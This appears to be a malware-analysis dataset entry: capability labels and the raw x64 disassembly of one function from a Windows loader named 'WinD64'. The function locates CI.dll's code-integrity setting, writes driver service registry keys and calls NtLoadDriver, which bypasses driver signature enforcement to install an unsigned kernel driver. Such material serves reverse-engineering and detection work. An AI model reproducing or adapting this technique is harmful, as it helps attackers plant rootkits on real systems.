Function at 0x4019a0
Capabilities:
Check mutex on windows
Disable driver code integrity
Get common file path
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Set registry value
Unload driver

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov esi, ecx
mov ebx, edx
sub rsp, 0xab8
call fcn.00401050
test rax, rax
mov r14, rax
je 0x4019df
test esi, esi
jne 0x4019df
add rsp, 0xab8
mov rax, r14
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbp, [rsp + 0x480]
lea r8, str.mutexWinD64
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, str.WinD64.exe
or r8d, 0xffffffff
mov rcx, rbp
nop
nop
nop
nop
nop
nop
nop
jmp 0x401a32
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4019c8
lea rdx, str.WinD64.dll
mov r8d, 0x1e
mov rcx, rbp
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea r13, [rsp + 0x690]
lea rdx, str.driversWinD64.sys
mov r8d, 0x14
mov rcx, r13
call fcn.00401700
test eax, eax
je 0x401a1e
lea r12, [rsp + 0x8a0]
lea rdx, str.driversWinD64loader.sys
mov r8d, 0xa
mov rcx, r12
call fcn.00401700
test eax, eax
je 0x401a1e
lea rax, [rsp + 0x60]
mov rdx, r13
mov rcx, rax
mov qword [rsp + 0x48], rax
call fcn.004015d0
test eax, eax
je 0x401a1e
lea rax, [rsp + 0x270]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.004015d0
test eax, eax
je 0x401a1e
xor eax, eax
mov ecx, 0xa
mov rdi, rbp
rep stosd dword [rdi], eax
xor r8d, r8d
xor edx, edx
mov r9, r12
mov ecx, 0xb
mov dword [rsp + 0x49c], ebx
mov dword [rsp + 0x8a0], 0
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x401e56
mov ecx, dword [rsp + 0x8a0]
mov rdi, rcx
call sub.msvcrt.dll_malloc
mov r9, r12
mov r8d, edi
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x401e4e
xor r14d, r14d
cmp dword [rbx], 0
lea rdi, [rbx + 8]
jne 0x401b57
jmp 0x401e86
add r14d, 1
add rdi, 0x128
cmp dword [rbx], r14d
jbe 0x401e86
movzx eax, word [rdi + 0x26]
lea rcx, [0x0040338c]
lea rdx, [rdi + rax + 0x28]
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x401b43
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x40], rax
mov edx, 0x104
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, eax
lea rdx, str.CI.DLL
lea rcx, [r12 + rax*2]
call sub.ntdll.dll_wcscpy
xor edx, edx
mov r8d, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test rax, rax
mov rdi, rax
je 0x401e6f
lea rdx, str.CiInitialize
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
lea r15, [rax + 0x64]
jmp 0x401bdd
add r10, 1
cmp r15, r10
je 0x401e6f
movzx eax, byte [r10 - 1]
and eax, 0xfffffffe
cmp al, 0xe8
jne 0x401bd0
movzx edx, byte [r10 + 2]
movzx eax, byte [r10 + 3]
mov ecx, edx
or cl, al
je 0x401bff
and eax, edx
add al, 1
jne 0x401bd0
mov eax, dword [r10]
lea rdx, [0x004033b1]
mov r8d, 3
mov qword [rsp + 0x30], r10
lea r14, [r10 + rax + 4]
mov rcx, r14
call sub.ntdll.dll_memcmp
test eax, eax
mov r10, qword [rsp + 0x30]
je 0x401bd0
lea rax, [r14 + 0x64]
jmp 0x401c3d
add r14, 1
cmp r14, rax
je 0x401e6f
cmp byte [r14 - 2], 0x89
jne 0x401c30
cmp byte [r14 - 1], 0xd
jne 0x401c30
cmp byte [r14 + 3], 0xff
jne 0x401c30
movsxd rax, dword [r14]
mov r8d, 0x30
mov rdx, r13
lea r9, [r14 + rax + 4]
mov rcx, r9
mov qword [rsp + 0x30], r9
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
mov r9, qword [rsp + 0x30]
je 0x401e6f
mov rax, qword [rsp + 0x6a8]
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + rax - 4]
sub rax, rdi
add rax, qword [rsp + 0x690]
mov qword [rsp + 0x488], rax
lea rax, [rdi + 0x1000]
jmp 0x401cb1
add rax, 1
cmp dword [rax], 0xff
ja 0x401cad
test al, 0x20
je 0x401cad
mov rdx, qword [rsp + 0x40]
sub rdx, rdi
lea r14, [rax + rdx]
add rdx, r9
mov qword [rsp + 0x480], rdx
mov rcx, rdi
mov rdi, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov ecx, 0x3a
lea r8, [0x004033b8]
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x488]
mov rdi, qword [rsp + 0x38]
mov r9d, 1
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x920], 0x20
mov qword [rsp + 0x928], r14
mov dword [rsp + 0x938], 4
mov qword [rsp + 0x930], rax
mov rax, qword [rsp + 0x480]
mov rdx, rdi
mov dword [rsp + 0x948], 1
mov dword [rsp + 0x958], 0x20
mov qword [rsp + 0x960], r14
mov dword [rsp + 0x970], 4
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x968], rax
lea rax, [r14 + 2]
mov dword [rsp + 0x980], 1
mov qword [rsp + 0x978], rax
lea rax, [0x004033de]
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_RtlWriteRegistryValue
test r14, r14
je 0x401e5f
mov r15, qword [rsp + 0x48]
lea r8, [0x004033e2]
mov qword [rsp + 0x20], rbp
lea rbp, [rsp + 0x50]
mov r9d, 3
xor ecx, ecx
mov dword [rsp + 0x28], 0x28
mov rdx, r15
call sub.ntdll.dll_RtlWriteRegistryValue
mov rdx, r15
mov rcx, rbp
lea r15, [r12 + 4]
call sub.ntdll.dll_RtlInitUnicodeString
add r12, 0xc
mov rdx, rdi
mov rcx, r13
xor edi, edi
call sub.ntdll.dll_RtlInitUnicodeString
mov rcx, rbp
call sub.ntdll.dll_NtLoadDriver
call fcn.00401050
mov rcx, r13
mov r14, rax
call sub.ntdll.dll_NtUnloadDriver
test r14, r14
jne 0x401e62
cmp edi, 2
je 0x401e5f
test edi, edi
jne 0x401e77
mov dword [rsp + 0x28], 0xdc
mov qword [rsp + 0x20], r12
mov rdx, qword [rsp + 0x38]
lea r8, [0x004033f0]
mov r9d, 3
xor ecx, ecx
add edi, 1
call sub.ntdll.dll_RtlWriteRegistryValue
mov rcx, r13
call sub.ntdll.dll_NtLoadDriver
jmp 0x401df5
mov rcx, rbx
call sub.msvcrt.dll_free
mov eax, dword [pe_dos_header]
ud2
xor r14d, r14d
mov rcx, rbx
call sub.msvcrt.dll_free
jmp 0x401a1e
xor r14d, r14d
jmp 0x401cd4
mov dword [rsp + 0x28], 0xe4
mov qword [rsp + 0x20], r15
jmp 0x401e28
mov qword [rsp + 0x40], 0
jmp 0x401b79